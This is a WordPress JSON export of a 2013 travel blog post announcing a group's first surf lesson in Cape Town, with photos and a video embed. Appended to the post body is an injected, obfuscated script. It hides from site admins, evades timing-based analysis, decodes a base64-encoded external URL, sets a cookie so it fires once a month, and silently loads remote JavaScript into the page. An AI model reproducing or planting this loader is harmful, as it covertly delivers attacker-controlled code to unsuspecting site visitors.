{"id":923,"date":"2013-09-18T08:49:08","date_gmt":"2013-09-18T08:49:08","guid":{"rendered":""},"modified":"2025-10-17T19:11:22","modified_gmt":"2025-10-17T19:11:22","slug":"first-surf-lesson-in-cape-town-after-safe-arrivals-in-south-africa","status":"publish","type":"post","link":"https:\/\/tickettoridegroup.com\/blog\/first-surf-lesson-in-cape-town-after-safe-arrivals-in-south-africa\/","title":{"rendered":"First surf lesson in Cape Town after safe arrivals in South Africa"},"content":{"rendered":"<div class=\"field_image\"><img decoding=\"async\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/groupberg.jpg\" title=\"groupberg.jpg\" alt=\"groupberg.jpg\" \/><\/div>\n<div class=\"field_image\"><img decoding=\"async\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/Dayno right.jpg\" title=\"Dayno right.jpg\" alt=\"Dayno right.jpg\" \/><\/div>\n<div class=\"field_image\"><img decoding=\"async\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/NicolaTT.jpg\" title=\"NicolaTT.jpg\" alt=\"NicolaTT.jpg\" \/><\/div>\n<div class=\"field_image\"><img decoding=\"async\" src=\"http:\/\/blog.tickettoridegroup.com\/wp-content\/uploads\/twinTT.jpg\" title=\"twinTT.jpg\" alt=\"twinTT.jpg\" \/><\/div>\n<div class=\"body\">\n<div>Hello everyone and welcome to our first blog on the Ticket to Ride September 2013 trip. We are super excited to be running this trip can&#39;t wait to share all the many wonders of surfing and South Africa with the group.<\/p>\n<p>They have of course all arrived safely and we have been met with perfect waves (and slightly cloudy conditions) but without further adieu here is the video from their first surf session!&nbsp;<\/p>\n<p>\n<iframe loading=\"lazy\" allowfullscreen=\"\" frameborder=\"0\" height=\"315\" src=\"\/\/www.youtube.com\/embed\/wm7G8v0KbIw\" width=\"420\"><\/iframe><\/p>\n<p>Check back in soon for photos and the story of what we have been up to so far on this adventure.<\/p>\n<p>Nikita<\/p><\/div>\n<\/div>\n<div class=\"field_meta_title\">\n<div>Title<\/div>\n<div>Learn to surf trip South Africa lesson one<\/div>\n<\/div>\n<div class=\"field_meta_keywords\">\n<div>Keywords<\/div>\n<div>south africa, surf, surfing, travel, gap year, learn, improve<\/div>\n<\/div>\n<div class=\"field_meta_description\">\n<div>Description<\/div>\n<div>Here is the first blog from our amazing South African surfing adventure which kicked off on September 13 2013.<\/div>\n<\/div>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hello everyone and welcome to our first blog on the Ticket to Ride September 2013 trip. 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